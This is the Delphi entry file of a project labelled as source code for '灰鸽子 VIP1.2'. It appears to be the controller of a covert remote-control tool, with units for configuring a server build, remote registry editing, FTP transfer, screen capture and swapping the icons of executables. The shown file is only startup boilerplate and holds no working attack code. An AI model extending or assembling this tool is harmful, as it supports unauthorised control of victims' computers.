h_client.dpr

灰鸽子VIP1.2经典源代码

program H_Client;

uses
  Forms,
  windows,
  messages,
  Classes,
  Main in 'Main.pas' {HgzVip},
  AboutUnit in 'AboutUnit.pas' {AboutForm},
  UpIp in 'UpIp.pas' {UpIpDate},
  SysInf in 'SysInf.pas' {SysShezhi},
  ShowPic in 'ShowPic.pas' {ShowPm},
  Scanover in 'Scanover.pas' {Sjiegou},
  Splash in 'Splash.pas' {SplashForm},
  RegEditUnit in 'RegEditUnit.pas' {RegEdit},
  RegHexEdit in 'RegHexEdit.pas' {RegHex},
  ConfigServerUnit in 'ConfigServerUnit.pas' {ConfigServer},
  NewxpSer in 'NewxpSer.pas' {NewxpServer},
  FtpUpUnit1 in 'FtpUpUnit1.pas' {FtpUp},
  FtpDownUnit in 'FtpDownUnit.pas' {FTPDown},
  ExeToolUnit in 'ExeToolUnit.pas' {ExeToolForm},
  IconLibrary in 'icotool\IconLibrary.pas',
  IconTools in 'icotool\IconTools.pas',
  IconTypes in 'icotool\Icontypes.pas',
  unitExIcon in 'icotool\unitExIcon.pas',
  unitPEFile in 'icotool\unitPEFile.pas',
  unitResourceDetails in 'icotool\unitResourceDetails.pas',
  unitResourceGraphics in 'icotool\unitResourceGraphics.pas',
  BmpToAviUnit in 'BmpToAviUnit.pas' {BmpToAviForm},
  FTPServerUnit in 'FTPServerUnit.pas' {FTPServerForm},
  DESCrypt in 'DESCrypt.pas',
  LangFrm in 'Langmgr\LangFrm.pas',
  LangMgr in 'Langmgr\LangMgr.pas',
  LangObj in 'Langmgr\LangObj.pas';

{$R *.RES}


var
I:integer;
begin


  Application.Initialize;

  SplashForm:=TSplashForm.Create(Application);
  SplashForm.Show;
  ShowWindow(Application.Handle, SW_HIDE);
  SplashForm.Update;

  Application.Title := '灰鸽子 Vip 1.2';
  SplashForm.Gauge1.Progress:=5;
  SplashForm.Update;

  Application.CreateForm(THgzVip, HgzVip);
  SplashForm.Gauge1.Progress:=25;
  SplashForm.Update;
  Application.CreateForm(TConfigServer, ConfigServer);
  SplashForm.Gauge1.Progress:=30;
  SplashForm.Update;
  Application.CreateForm(TNewxpServer, NewxpServer);
  SplashForm.Gauge1.Progress:=40;
  SplashForm.Update;
  Application.CreateForm(TFtpUp, FtpUp);
  SplashForm.Gauge1.Progress:=50;
  SplashForm.Update;
  Application.CreateForm(TFTPDown, FTPDown);
  SplashForm.Gauge1.Progress:=60;
  SplashForm.Update;
  Application.CreateForm(TExeToolForm, ExeToolForm);
  SplashForm.Gauge1.Progress:=70;
  SplashForm.Update;
  Application.CreateForm(TBmpToAviForm, BmpToAviForm);
  Application.CreateForm(TFTPServerForm, FTPServerForm);
  SplashForm.Gauge1.Progress:=80;//'加载登陆窗口...';
  SplashForm.Update;


  Application.CreateForm(TShowPm, ShowPm);
  Application.CreateForm(TSjiegou, Sjiegou);
  Application.CreateForm(TUpIpDate, UpIpDate);
  Application.CreateForm(TSysShezhi, SysShezhi);
  SplashForm.Gauge1.Progress:=95;//'加载登陆窗口...';
  SplashForm.Update;
  Application.CreateForm(TRegEdit, RegEdit);
  Application.CreateForm(TRegHex, RegHex);
  SplashForm.Gauge1.Progress:=100;//'加载登陆窗口...';
  SplashForm.Update;

  Application.ProcessMessages;

  SplashForm.Free;
  //Application.ShowMainForm :=False;
  Application.Run;
end.